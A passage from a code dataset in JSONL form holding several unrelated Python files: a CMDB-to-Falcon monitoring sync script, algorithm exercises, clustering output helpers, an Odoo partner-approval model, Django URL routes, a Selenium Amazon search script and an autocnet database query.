exist:\n # get all host and it's status if it is running falcon-agent\n cmdb_hosts[ip] = status\n # filter host which is not in_use or scrap\n if status == 0 or status == 4:\n continue\n\n tmp_ids.add(exist[0])\n\n # filter host which is maintain,do not sync it to dashboard\n if status == 1 or status == 3:\n tmp_hostnames.append(exist[1])\n # *******************************************************************************************\n # not exist,it means this machine is used but falcon-agent is not running,should realized this\n # *******************************************************************************************\n\n tmp_dict['host_ids'] = tmp_ids\n tmp_dict['host_names'] = \"|\".join(sorted(tmp_hostnames))\n tmp_dict['node_name'] = \"/\".join(node[2].split(\"||\"))\n nodes_info.append(tmp_dict)\n\n # add node name to cmdb_nodes\n cmdb_nodes.append(tmp_dict['node_name'])\n\n return nodes_info, cmdb_hosts, cmdb_nodes\n\n\ndef get_id(db_conn, name):\n '''\n get the namespace's id\n :param name: name in table dashboard_screen\n :return: the id of the name or None\n '''\n cursor = db_conn.execute('''select id from dashboard_screen where name=%s''', (name,))\n id = cursor.fetchone()\n cursor and cursor.close()\n\n if id is not None:\n return id[0]\n else:\n return None\n\n\ndef if_screen_exist(db_conn, pid, name):\n '''\n judge if the screen is exist,if exist,return id,or return None\n :param pid:pid in table dashboard_screen\n :param name:name in table dashboard_screen\n :return:the id of the screen or None\n '''\n\n cursor = db_conn.execute(\"select id from dashboard_screen where pid = %s and name = %s\", (pid, name))\n exist = cursor.fetchone()\n cursor and cursor.close()\n\n if exist:\n return exist[0]\n else:\n return None\n\n\ndef if_graph_exist(db_conn, screen_id, title):\n '''\n judge if graph is exist,if exist return id or return None\n :param screen_id:\n :param title:\n :return:\n '''\n cursor = db_conn.execute(\"select id from dashboard_graph where screen_id = %s and title = %s\", (screen_id, title))\n exist = cursor.fetchone()\n cursor and cursor.close()\n\n if exist:\n return exist[0]\n else:\n return None\n\n\ndef need_update(db_conn, id, hosts, counters):\n cursor = db_conn.execute(\"select hosts,counters from dashboard_graph where id = %s\",(id,))\n result = cursor.fetchone()\n cursor and cursor.close()\n if result:\n if result[0] == hosts and result[1] == counters:\n return False\n\n return True\n\n\ndef add_screen(db_conn, pid, name):\n '''\n if screen not exist,add it and return the new id\n :param pid:\n :param name:\n :return:\n '''\n cursor = db_conn.execute(\"insert into dashboard_screen (pid, name) values(%s,%s)\", (pid, name))\n screen_id = cursor.lastrowid\n db_conn.commit()\n cursor and cursor.close()\n\n return screen_id\n\n\ndef delete_screen(db_conn, id):\n \"\"\"\n delete a screen,not thinking of it's parent and child\n :param id:\n :param conn:\n :return:\n \"\"\"\n cursor = db_conn.execute(\"delete from dashboard_screen where id=%s\", (id,))\n db_conn.commit()\n cursor and cursor.close()\n\n\ndef update_graph(db_conn, id, hosts, counters):\n '''\n update the graph in dashboard_graph\n :param id:\n :param hosts:\n :param counters:\n :return:\n '''\n cursor = db_conn.execute('''update dashboard_graph set hosts=%s, counters=%s where id = %s''', (hosts, counters, id))\n db_conn.commit()\n cursor and cursor.close()\n\n\ndef add_graph(db_conn, title, hosts, counters, screen_id, timespan=3600, graph_type='h', method='', position=0):\n\n cursor = db_conn.execute('''insert into dashboard_graph (title, hosts, counters, screen_id,\n timespan, graph_type, method, position)\n values(%s, %s, %s, %s, %s, %s, %s, %s)''',\n (title, hosts or \"\", counters or \"\",\n screen_id, timespan, graph_type, method, position))\n graph_id = cursor.lastrowid\n\n db_conn.execute('''update dashboard_graph set position=%s where id=%s''', (graph_id, graph_id))\n db_conn.commit()\n cursor and cursor.close()\n\n return graph_id\n\n\ndef delete_graph(db_conn, screen_id):\n cursor = db_conn.execute(\"delete from dashboard_graph where screen_id=%s\", (screen_id,))\n db_conn.commit()\n cursor and cursor.close()\n\n\n# group sync\ndef get_grp_id(conn, name):\n cursor = conn.execute(\"select id from grp where grp_name=%s\", (name,))\n grp_id = cursor.fetchone()\n cursor and cursor.close()\n if grp_id is not None:\n return grp_id[0]\n return None\n\n\ndef get_hostids(conn, grp_id):\n cursor = conn.execute(\"select host_id from grp_host where grp_id=%s\", (grp_id,))\n hostids = cursor.fetchall()\n cursor and cursor.close()\n return hostids\n\n\ndef get_hostip(conn, host_id):\n cursor = conn.execute(\"select ip from host where id=%s\", (host_id,))\n ip = cursor.fetchone()\n cursor and cursor.close()\n if ip:\n return ip[0]\n return None\n\n\ndef get_hostname(conn, host_id):\n cursor = conn.execute(\"select hostname from host where id=%s\", (host_id,))\n hostname = cursor.fetchone()\n cursor and cursor.close()\n if hostname:\n return hostname[0]\n return None\n\n\ndef get_all_host(conn):\n cursor = conn.execute(\"select id from host where ip !=''\")\n hostids = cursor.fetchall()\n cursor and cursor.close()\n return hostids\n\n\ndef get_all_group_hosts(conn):\n \"\"\"\n read all host in group except group:base\n :param conn:\n :return:\n \"\"\"\n sql = \"select distinct host_id from grp_host where grp_id in (select id from grp where grp_name not in ('base'))\"\n cursor = conn.execute(sql)\n result = cursor.fetchall()\n cursor and cursor.close()\n return result\n\n\ndef add_group(conn, group):\n name = creator\n if not name:\n name = \"ops\"\n\n cursor = conn.execute(\"insert into grp(grp_name,create_user) values(%s,%s)\", (group, name))\n grp_id = cursor.lastrowid\n conn.commit()\n cursor and cursor.close()\n if grp_id:\n print_with_time_flag(\"insert into table grp: grp_name:%s,creator:%s\" % (group, name))\n else:\n print_with_time_flag(\"insert into table grp fail: grp_name:%s,creator:%s\" % (group, name), -2)\n return grp_id\n\n\ndef update_group(conn, group):\n name = creator\n if not name:\n name = \"ops\"\n\n cursor = conn.execute(\"update grp set create_user=%s where grp_name=%s\", (name, group))\n conn.commit()\n cursor and cursor.close()\n print_with_time_flag(\"update table grp: grp_name:%s,creator:%s\" % (group, name))\n\n\ndef delete_group(conn, grp_id, grp_name):\n cursor = conn.execute(\"delete from grp_host where grp_id=%s\", (grp_id,))\n conn.commit()\n cursor and cursor.close()\n\n cursor = conn.execute(\"delete from grp where id=%s\", (grp_id, ))\n conn.commit()\n cursor and cursor.close()\n print_with_time_flag(\"delete from table grp_name:%s\" % (grp_name,), -1)\n\n\ndef add_host(conn, grp_name, grp_id, host_id):\n cursor = conn.execute(\"insert into grp_host(grp_id,host_id) values(%s,%s)\", (grp_id, host_id))\n id = cursor.lastrowid\n conn.commit()\n cursor and cursor.close()\n\n ip = get_hostip(conn, host_id)\n\n if id is not None:\n print_with_time_flag(\"insert into table grp_host:grp_name:%s,host_ip:%s,host_id:%s\" % (grp_name, ip, host_id))\n else:\n print_with_time_flag(\"insert into table grp_host fail: grp_name:%s,host_ip:%s,host_id:%s\" % (grp_name, ip, host_id), -2)\n\n\ndef del_grp_host(conn, grp_name, grp_id, host_id):\n cursor = conn.execute(\"delete from grp_host where grp_id=%s and host_id=%s\", (grp_id, host_id))\n conn.commit()\n cursor and cursor.close()\n ip = get_hostip(conn, host_id)\n\n print_with_time_flag(\"delete from table grp_host:grp_name:%s,host_ip:%s,host_id:%s\" % (grp_name, ip, host_id))\n\n\ndef update_host_status(conn, ip, status):\n \"\"\"\n update falcon host status ,sync from cmdb\n :param conn:\n :param ip:\n :param status:\n :return:\n \"\"\"\n cursor = conn.execute(\"select maintain_begin,maintain_end from host where ip=%s\", (ip,))\n maintain = cursor.fetchone()\n if maintain is not None:\n # host status: in_use(1) ,maintain(2), out_of_date(3)\n # not in_use, in_use or out_of_date\n if status == 0 or status == 1 or status == 3:\n if maintain[0] != 0 or maintain[1] != 0:\n cursor = conn.execute(\"update host set maintain_begin=0,maintain_end=0 where ip=%s\", (ip,))\n conn.commit()\n cursor and cursor.close()\n\n # maintain or scrap\n elif status == 2 or status == 4:\n begin = int(time.time())\n end = begin + 3*365*24*3600\n if maintain[0] == 0 or maintain[1] == 0 or maintain[1] < begin or maintain[0] > begin:\n cursor = conn.execute(\"update host set maintain_begin=%s,maintain_end=%s where ip=%s\", (begin, end, ip))\n conn.commit()\n cursor and cursor.close()\n\n\ndef get_all_cmdb_group(fp_conn):\n \"\"\"\n group info sync from cmdb is like company/xxxxxx,which company is root node of cmdb,\n come_from =0 means the group in falcon is not create manual in the web\n :param fp_conn:\n :return:\n \"\"\"\n cursor = fp_conn.execute('''select id, grp_name from grp where grp_name like 'company%' and come_from=0''')\n result = cursor.fetchall()\n cursor and cursor.close()\n return result\n\n\ndef get_all_cmdb_screen(fd_conn):\n \"\"\"\n all screen info sync from cmdb is subscreen of 'cmdb_base'\n :param fd_conn:\n :return:\n \"\"\"\n cursor = fd_conn.execute('''select id,name from dashboard_screen where pid =(select id from dashboard_screen where name='cmdb_base')''')\n result = cursor.fetchall()\n cursor and cursor.close()\n return result\n\n\ndef sync_from_cmdb(mm_conn, db_conn, fp_conn):\n print_with_time_flag(\"sync from cmdb start======>\")\n nodes_info, cmdb_hosts, cmdb_nodes = get_nodes_info(mm_conn, fp_conn)\n\n # update host status\n #for ip, status in cmdb_hosts.iteritems():\n # update_host_status(fp_conn, ip, status)\n\n # delete group and screen from falcon which is not in cmdb\n falcon_group = get_all_cmdb_group(fp_conn)\n falcon_screen = get_all_cmdb_screen(db_conn)\n for group in falcon_group:\n if group[1] not in cmdb_nodes:\n delete_group(fp_conn, group[0], group[1])\n\n for screen in falcon_screen:\n if screen[1] not in cmdb_nodes:\n delete_graph(db_conn, screen[0])\n delete_screen(db_conn, screen[0])\n\n # first get root screen which name is root_name,now it is cmdb_base\n pid = get_id(db_conn, root_name)\n\n if pid is None:\n print_with_time_flag(\"there is no root namespace:%s,now add it\" % root_name, -1)\n pid = add_screen(db_conn, 0, root_name)\n\n if pid is None:\n print_with_time_flag(\"add root screen error,stop sync\", -2)\n return\n\n # sync node info from cmdb to falcon\n for node in nodes_info:\n node_name = node[\"node_name\"]\n\n exist = if_screen_exist(db_conn, pid, node_name)\n grp_id = get_grp_id(fp_conn, node_name)\n\n # sync node info to create group and its hosts\n namespace = node_name\n hostids = node['host_ids']\n # create a group for each node if it is not exist or update it if it is already exist\n if grp_id is None:\n grp_id = add_group(fp_conn, namespace)\n if grp_id is not None:\n for h in hostids:\n add_host(fp_conn, namespace, grp_id, h)\n\n else:\n result = get_hostids(fp_conn, grp_id)\n group_hosts = [x[0] for x in result]\n for h in group_hosts:\n if h not in hostids:\n del_grp_host(fp_conn, namespace, grp_id, h)\n\n for h in hostids:\n if h not in group_hosts:\n add_host(fp_conn, namespace, grp_id, h)\n\n # sync to dashboard screen\n\n # mysql column of hosts in table dashboard_graph limit is 10240,filter it\n str_hostnames = node['host_names']\n if len(str_hostnames) >= 10240:\n print_with_time_flag(\"the hosts number of node:%s is too many,stop sync screen info for it\" % node_name, -1)\n continue\n\n if exist is not None:\n screen_id = exist\n else:\n print_with_time_flag(\"namespace:%s is not exist,add it\" % (node_name,))\n screen_id = add_screen(db_conn, pid, node_name)\n\n if screen_id is None:\n print_with_time_flag(\"add screen:%s error,stop sync\" % node_name, -2)\n continue\n\n # update base\n exist = if_graph_exist(db_conn, screen_id, title_base)\n if exist is None:\n graph_id = add_graph(db_conn, title_base, str_hostnames, base_counter, screen_id)\n print_with_time_flag(\"graph is not exist,add it:screen_id:%s,title:%s,graph_id:%s\" % (screen_id, title_base, graph_id))\n else:\n if need_update(db_conn, exist, str_hostnames, base_counter):\n update_graph(db_conn, exist, str_hostnames, base_counter)\n print_with_time_flag(\"graph exist in db, update it:graphid:%s,title:%s\" % (exist, title_base))\n\n # update net\n exist = if_graph_exist(db_conn, screen_id, title_net)\n if exist is None:\n graph_id = add_graph(db_conn, title_net, str_hostnames, net_counter, screen_id)\n print_with_time_flag(\"graph is not exist,add it:screen_id:%s,title:%s,graph_id:%s\" % (screen_id, title_net, graph_id))\n else:\n if need_update(db_conn, exist, str_hostnames, net_counter):\n update_graph(db_conn, exist, str_hostnames, net_counter)\n print_with_time_flag(\"graph exist in db, update it:graphid:%s,title:%s\" % (exist, title_net))\n\n # update disk\n exist = if_graph_exist(db_conn, screen_id, title_disk)\n if exist is None:\n graph_id = add_graph(db_conn, title_disk, str_hostnames, disk_counter, screen_id)\n print_with_time_flag(\"graph is not exist,add it:screen_id:%s,title:%s,graph_id:%s\" % (screen_id, title_disk, graph_id))\n else:\n if need_update(db_conn, exist, str_hostnames, disk_counter):\n update_graph(db_conn, exist, str_hostnames, disk_counter)\n print_with_time_flag(\"graph exist in db, update it:graphid:%s,title:%s\" % (exist, title_disk))\n\n # get all hosts in falcon,split to different group.data,hadoop2,and base\n # ip like 10.103.8 into data\n # endpoint like hadoop2- into hadoop2-\n # others into base\n result = get_all_host(fp_conn)\n all_hosts = []\n data_grp_hosts = []\n hadoop2_grp_hosts = []\n\n for x in result:\n c = 0\n ip = get_hostip(fp_conn, x[0])\n hostname = get_hostname(fp_conn, x[0])\n if ip and ip[:8] in data_grp:\n c = 1\n data_grp_hosts.append(x[0])\n\n if hostname and hostname.startswith(\"hadoop2-\"):\n c = 1\n hadoop2_grp_hosts.append(x[0])\n\n if c == 1:\n continue\n\n all_hosts.append(x[0])\n\n # put into base group\n base_id = get_grp_id(fp_conn, \"base\")\n if base_id is None:\n base_id = add_group(fp_conn, \"base\")\n\n result = get_hostids(fp_conn, base_id)\n base_hosts = [x[0] for x in result]\n\n for h in base_hosts:\n if h not in all_hosts:\n del_grp_host(fp_conn, \"base\", base_id, h)\n\n for h in all_hosts:\n if h not in base_hosts:\n add_host(fp_conn, \"base\", base_id, h)\n\n # put into data group\n data_id = get_grp_id(fp_conn, \"data\")\n if data_id is None:\n data_id = add_group(fp_conn, \"data\")\n\n result = get_hostids(fp_conn, data_id)\n data_hosts = [x[0] for x in result]\n\n for h in data_grp_hosts:\n if h not in data_hosts:\n add_host(fp_conn, \"data\", data_id, h)\n\n for h in data_hosts:\n if h not in data_grp_hosts:\n del_grp_host(fp_conn, \"data\", data_id, h)\n\n # put into hadoop2 group\n hadoop2_id = get_grp_id(fp_conn, \"hadoop2\")\n if hadoop2_id is None:\n hadoop2_id = add_group(fp_conn, \"hadoop2\")\n\n result = get_hostids(fp_conn, hadoop2_id)\n hadoop2_hosts = [x[0] for x in result]\n\n for h in hadoop2_grp_hosts:\n if h not in hadoop2_hosts:\n add_host(fp_conn, \"hadoop2\", hadoop2_id, h)\n\n for h in hadoop2_hosts:\n if h not in hadoop2_grp_hosts:\n del_grp_host(fp_conn, \"hadoop2\", hadoop2_id, h)\n\n print_with_time_flag(\"<=======sync from cmdb complete\")\n\n\nif __name__ == '__main__':\n while True:\n\n mm_conn = DB(machine_db.get('host'), machine_db.get('port'), machine_db.get('user'),\n machine_db.get('password'), machine_db.get('db_cmdb'))\n\n fp_conn = DB(falcon_db.get('host'), falcon_db.get('port'), falcon_db.get('user'),\n falcon_db.get('password'), falcon_db.get('db_portal'))\n\n db_conn = DB(falcon_db.get('host'), falcon_db.get('port'), falcon_db.get('user'), falcon_db.get('password'), falcon_db.get('db_dashboard'))\n\n if not mm_conn._conn and fp_conn._conn and db_conn._conn:\n continue\n\n sync_from_cmdb(mm_conn, db_conn, fp_conn)\n mm_conn._conn.close()\n db_conn._conn.close()\n fp_conn._conn.close()\n\n time.sleep(60)\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"falcon_cmdb.py","file_name":"falcon_cmdb.py","file_ext":"py","file_size_in_byte":20123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"494172027","text":"# [[\"MUC\", \"LHR\"], [\"JFK\", \"MUC\"], [\"SFO\", \"SJC\"], [\"LHR\", \"SFO\"]]\nfrom collections import defaultdict\n\n\ndef reconstruct_itenerary(tickets):\n\tgraph = build_graph(tickets)\n\tprint(graph)\n\troute = []\n\tdfs('JFK', graph, route)\n\n\treturn route[::-1]\n\n\ndef build_graph(tickets):\n\tg = defaultdict(list)\n\tfor s, e in tickets:\n\t\tg[s].append(e)\n\n\treturn g\n\n\ndef dfs(start, graph, route):\n\twhile graph[start]:\n\t\t#print(start)\n\t\t#print(graph[start])\n\t\tdfs(graph[start].pop(), graph, route)\n\troute.append(start)\n\treturn route\n\n\nprint(reconstruct_itenerary(\n\t[[\"MUC\", \"LHR\"], [\"JFK\", \"MUC\"], [\"SFO\", \"SJC\"], [\"LHR\", \"SFO\"]]))\n\n\ndef findItinerary(tickets):\n\ttargets = defaultdict(list)\n\tfor a, b in sorted(tickets)[::-1]:\n\t\ttargets[a] += b,\n\t\troute = []\n\n\tdef visit(airport):\n\t\twhile targets[airport]:\n\t\t\tvisit(targets[airport].pop())\n\t\t\troute.append(airport)\n\tvisit('JFK')\n\treturn route[::-1]\n\n\n#print(findItinerary([[\"MUC\", \"LHR\"], [\"JFK\", \"MUC\"], [\"SFO\", \"SJC\"], [\"LHR\", \"SFO\"]]))\n\n\ndef findItinerary(tickets):\n\tdic = defaultdict(list)\n\tfor t in tickets:\n\t\tdic[t[0]].append(t[1])\n\tstart = 'JFK'\n\tpath = []\n\n\tdef dfs(st):\n\t\twhile dic[st]:\n\t\t\tnext_city = sorted(dic[st])[0]\n\t\t\tdic[st].remove(next_city)\n\t\t\tdfs(next_city)\n\t\tpath.append(st)\n\tdfs(start)\n\treturn list(path)\n\n#print(findItinerary([[\"MUC\", \"LHR\"], [\"JFK\", \"MUC\"], [\"SFO\", \"SJC\"], [\"LHR\", \"SFO\"]]))\n","sub_path":"IK/Graphs/ReconstructItinerary.py","file_name":"ReconstructItinerary.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"248932890","text":"star=input().split(\",\")\nend=input().split(\",\")\nprofit=input().split(\",\")\nfor i in range(0,len(star)):\n star[i]=int(star[i])\n end[i]=int(end[i])\n profit[i]=int(profit[i])\nlist1=[0 for i in range(0,max(end))]\nfor i in range(1,len(list1)):\n while i+1 in end:\n index=end.index(i+1)\n list1[i]=max(list1[i],list1[star[index]-1]+profit[index])\n star.pop(index)\n end.pop(index)\n profit.pop(index)\n list1[i]=max(list1[i],list1[i-1])\nprint(list1[len(list1)-1]) ","sub_path":"Code/CodeRecords/2577/60717/278021.py","file_name":"278021.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"281143723","text":"import os\nimport json\nimport subprocess\n\nfrom django.conf import settings\n\nfrom helpers.utils import compress_sparse_vector, Resource\nfrom helpers.plot import plot\nfrom clustering.kmeans_doc2vec import KMeansDoc2Vec\n\n\ndef write_or_update_centers_data(model, cluster_centers):\n \"\"\"\n @model: ClusteringModel instance\n @cluster_centers: [, ...]\n \"\"\"\n path = model.get_cluster_data_path()\n center_path = os.path.join(path, settings.CLUSTERS_CENTERS_FILENAME)\n center_resource = Resource(center_path, Resource.FILE)\n # convert to python float first or it won't be json serializable\n centers_data = {\n i: compress_sparse_vector([float(y) for y in x])\n for i, x in enumerate(cluster_centers)\n }\n # Center data can be directly written whether update is true or false as\n # centers gets updated\n center_resource.write_data(json.dumps(centers_data))\n\n\ndef write_cluster_labels_data(\n model, docs_labels, docids_features, update=False\n ):\n \"\"\"\n @model: ClusteringModel instance\n @docs_labels:[(, ), ...]\n @docids_features: { : , ... }\n @update: False means replace the file contents, else just update\n \"\"\"\n path = model.get_cluster_data_path()\n # now create labels file\n labels_path = os.path.join(path, settings.CLUSTERED_DOCS_LABELS_FILENAME)\n labels_resource = Resource(labels_path, Resource.FILE)\n # create dict\n dict_data = {x: {'label': y} for x, y in docs_labels}\n for doc_id, features in docids_features.items():\n # first make json serializable\n dict_data[doc_id]['features'] = [\n float(x) if isinstance(model.model, KMeansDoc2Vec) else x\n for x in features\n ]\n # Write docs_clusterlabels\n if update:\n data = json.loads(labels_resource.get_data())\n data.update(dict_data)\n labels_resource.write_data(json.dumps(data))\n else:\n labels_resource.write_data(json.dumps(dict_data))\n\n\ndef write_relevant_terms_data(model, relevant_terms, update=False):\n \"\"\"\n @model: ClusteringModel instance\n @relevant_terms: { : [, ...], ...}\n @update: False means replace content in file\n \"\"\"\n path = model.get_cluster_data_path()\n relevant_path = os.path.join(path, settings.RELEVANT_TERMS_FILENAME)\n relevant_resource = Resource(relevant_path, Resource.FILE)\n if update:\n curr = relevant_resource.get_data()\n curr.update(relevant_terms)\n relevant_resource.write_data(json.dumps(curr))\n else:\n relevant_resource.write_data(json.dumps(relevant_terms))\n\n\ndef write_cluster_score_vs_size(model, doc_size):\n \"\"\"\n Write new scores and doc_size to file.\n NOTE: This will override the previous data\n @model: ClusteringModel instance\n @doc_size: Number of leads on which clustering was done\n \"\"\"\n data = [(doc_size, model.silhouette_score)]\n path = model.get_cluster_data_path()\n data_path = os.path.join(path, settings.CLUSTER_SCORE_DOCS_SIZE_FILENAME)\n data_resource = Resource(data_path, Resource.FILE)\n data_resource.write_data(json.dumps(data))\n # now plot\n plot_score_vs_size(model, data)\n\n\ndef update_cluster_score_vs_size(model, increased_size=1):\n \"\"\"\n Update scores. This won't override.\n @model: ClusteringModel isntance, this contains new score\n @increased_size\n \"\"\"\n current_data = model.get_cluster_score_vs_size_data()\n last_size = current_data[-1][0]\n current_data.append((last_size+increased_size, model.silhouette_score))\n path = model.get_cluster_data_path()\n data_path = os.path.join(path, settings.CLUSTER_SCORE_DOCS_SIZE_FILENAME)\n data_resource = Resource(data_path, Resource.FILE)\n data_resource.write_data(json.dumps(current_data))\n plot_score_vs_size(model, current_data)\n\n\ndef plot_score_vs_size(model, data):\n options = {\n 'x_label': 'Number of Docs',\n 'y_label': 'Clustering Score'\n }\n fig = plot(data, \"Cluster Scores vs Number of Documents\", options)\n path = model.get_cluster_data_path()\n fig_path = os.path.join(path, settings.CLUSTERS_SCORE_PLOT_FILENAME)\n fig.savefig(fig_path)\n\n\ndef write_clustered_data_to_files(\n model, docs_labels, cluster_centers,\n docids_features, update=False\n ):\n \"\"\"Write the doc_clusterlabels and cluster_centers to files\"\"\"\n path = model.get_cluster_data_path()\n # create the directory\n p = subprocess.Popen(['mkdir', '-p', path], stdout=subprocess.PIPE)\n _, err = p.communicate()\n if err:\n print(\"Couldn't create cluster data files. {}\".format(err))\n return\n\n # write centers data\n write_or_update_centers_data(model, cluster_centers)\n # write labels data\n write_cluster_labels_data(model, docs_labels, docids_features, update)\n print(\"Done writing data\")\n","sub_path":"clustering/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":4903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"472022506","text":"# -*- coding: utf-8 -*-\nfrom odoo import api, fields, models, _\nfrom datetime import date\n\n\nclass Partner(models.Model):\n _inherit = 'res.partner'\n\n customer_status = fields.Selection([('draft', 'Draft'), ('approved', 'Approved')], required=True, default='draft')\n approval_user_id = fields.Many2one(string=\"Approval User\", comodel_name='res.users')\n approval_date = fields.Date(string=\"Approval Date\")\n\n # Function for Customer Approval\n def set_to_approved(self):\n self.ensure_one()\n self.write({\n \t'customer_status': 'approved',\n \t'approval_user_id' : self.env.user.id,\n \t'approval_date' : date.today()\n })\n\n # Function for Rest to Draft\n def rest_to_draft(self):\n self.ensure_one()\n self.write({\n \t'customer_status': 'draft',\n \t'approval_user_id' : None,\n \t'approval_date' : ''\n })","sub_path":"models/partner.py","file_name":"partner.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"87562063","text":"\"\"\"proj_1997 URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.9/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Add an import: from blog import urls as blog_urls\n 2. Import the include() function: from django.conf.urls import url, include\n 3. Add a URL to urlpatterns: url(r'^blog/', include(blog_urls))\n\"\"\"\nfrom django.conf.urls import url, include\nfrom django.contrib import admin\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom web import views as web_views\n\nurlpatterns = [\n url(r'^admin_tools/', include('admin_tools.urls')),\n url(r'^admin/', admin.site.urls),\n url(r'^$', web_views.index, name='index'),\n url(r'^detail$', web_views.detail, name='detail'),\n url(r'^activity$', web_views.activity, name='activity'),\n url(r'^teachers$', web_views.teachers, name='teachers'),\n url(r'^about$', web_views.about, name='about'),\n\n url(r'^ckeditor/', include('ckeditor_uploader.urls')),\n\n url(r'^admin/r$', web_views.rsv_manage, name='rsv_manage'),\n url(r'^admin/r/status$', web_views.change_rsv_status, name='change_rsv_status'),\n url(r'^admin/t$', web_views.teacher_slot, name='slot'),\n url(r'^admin/d$', web_views.detail_slot, name='detail_slot'),\n\n url(r'^newrsv$', web_views.new_reservation, name='new_reservation'),\n url(r'^scode$', web_views.send_code, name='send_code'),\n\n # mobile pages\n url(r'^m/detail$', web_views.m_detail, name='m_detail'),\n url(r'^m/activity$', web_views.m_activity, name='m_activity'),\n url(r'^m/about$', web_views.m_about, name='m_about'),\n url(r'^m/teachers$', web_views.m_teachers, name='m_teachers'),\n url(r'^m/$', web_views.m_index, name='m_index'),\n\n] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","sub_path":"proj_1997/proj_1997/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"155218229","text":"'''\r\nCreated on 04-Mar-2020\r\n\r\n@author: eviupay\r\n'''\r\nfrom automation import getWebDriver\r\nfrom automation import SeleniumEnhancements\r\nfrom automation.SeleniumEnhancements import switchWindowByPartialTitle\r\nfrom selenium.webdriver.common.by import By\r\n\r\ndriver = getWebDriver.getDriverInstance()\r\ndriver.get(\"https://www.amazon.in\")\r\n\r\ndriver.find_element_by_id(\"twotabsearchtextbox\").send_keys(\"samsung galaxy m30s mobile\")\r\ndriver.find_element_by_id(\"twotabsearchtextbox\").submit()\r\n\r\nlink = driver.find_element(By.PARTIAL_LINK_TEXT,\"Samsung Galaxy M30s\")\r\nlink.click()\r\nprint(driver.current_window_handle)\r\nprint(\"xxxx\");\r\n\r\nswitchWindowByPartialTitle(driver,\"Samsung Galaxy M30s (Blue, 6GB RAM, 128GB Storage)\")\r\nprint(driver.current_window_handle)\r\n\r\nvalue = driver.find_element(By.XPATH, \"//div[@id='ddmDeliveryMessage']/span[@class='a-text-bold']\").text\r\nprint(value)\r\nprint(\"----\")","sub_path":"PythonAutomation/automation/script3.py","file_name":"script3.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"302841973","text":"import pandas as pd\nimport numpy as np\nimport shapely.wkb as swkb\nfrom plio.io import io_controlnetwork as cnet\nfrom autocnet.io.db.model import Measures\n\n\ndef db_to_df(engine, sql = \"\"\"\nSELECT measures.\"pointid\",\n points.\"pointType\",\n points.\"apriori\",\n points.\"adjusted\",\n points.\"pointIgnore\",\n points.\"referenceIndex\",\n points.\"identifier\",\n measures.\"id\",\n measures.\"serialnumber\",\n measures.\"sample\",\n measures.\"line\",\n measures.\"measureType\",\n measures.\"imageid\",\n measures.\"measureIgnore\",\n measures.\"measureJigsawRejected\",\n measures.\"aprioriline\",\n measures.\"apriorisample\"\nFROM measures\nINNER JOIN points ON measures.\"pointid\" = points.\"id\"\nWHERE\n points.\"pointIgnore\" = False AND\n measures.\"measureIgnore\" = FALSE AND\n measures.\"measureJigsawRejected\" = FALSE AND\n measures.\"imageid\" NOT IN\n (SELECT measures.\"imageid\"\n FROM measures\n INNER JOIN points ON measures.\"pointid\" = points.\"id\"\n WHERE measures.\"measureIgnore\" = False and measures.\"measureJigsawRejected\" = False AND points.\"pointIgnore\" = False\n GROUP BY measures.\"imageid\"\n HAVING COUNT(DISTINCT measures.\"pointid\") < 3)\nORDER BY measures.\"pointid\", measures.\"id\";\n\"\"\"):\n \"\"\"\n Given a set of points/measures in an autocnet database, generate an ISIS\n compliant control network.\n Parameters\n ----------\n path : str\n The full path to the output network.\n flistpath : str\n (Optional) the path to the output filelist. By default\n the outout filelist path is genrated programatically\n as the provided path with the extension replaced with .lis.\n For example, out.net would have an associated out.lis file.\n sql : str\n The sql query to execute in the database.\n \"\"\"\n df = pd.read_sql(sql, engine)\n\n # measures.id DB column was read in to ensure the proper ordering of DF\n # so the correct measure is written as reference\n del df['id']\n df.rename(columns = {'pointid': 'id',\n 'pointType': 'pointtype',\n 'measureType': 'measuretype'}, inplace=True)\n df['id'] = df.apply(lambda row: f\"{row['identifier']}_{row['id']}\", axis=1)\n\n #create columns in the dataframe; zeros ensure plio (/protobuf) will\n #ignore unless populated with alternate values\n df['aprioriX'] = 0\n df['aprioriY'] = 0\n df['aprioriZ'] = 0\n df['adjustedX'] = 0\n df['adjustedY'] = 0\n df['adjustedZ'] = 0\n df['aprioriCovar'] = [[] for _ in range(len(df))]\n\n #only populate the new columns for ground points. Otherwise, isis will\n #recalculate the control point lat/lon from control measures which where\n #\"massaged\" by the phase and template matcher.\n for i, row in df.iterrows():\n if row['pointtype'] == 3 or row['pointtype'] == 4:\n if row['apriori']:\n apriori_geom = swkb.loads(row['apriori'], hex=True)\n row['aprioriX'] = apriori_geom.x\n row['aprioriY'] = apriori_geom.y\n row['aprioriZ'] = apriori_geom.z\n if row['adjusted']:\n adjusted_geom = swkb.loads(row['adjusted'], hex=True)\n row['adjustedX'] = adjusted_geom.x\n row['adjustedY'] = adjusted_geom.y\n row['adjustedZ'] = adjusted_geom.z\n df.iloc[i] = row\n\n return df\n\n\ndef update_measure_from_jigsaw(point, path, ncg=None, **kwargs):\n \"\"\"\n Updates the database (associated with ncg) with a single measure's\n jigsaw line and sample 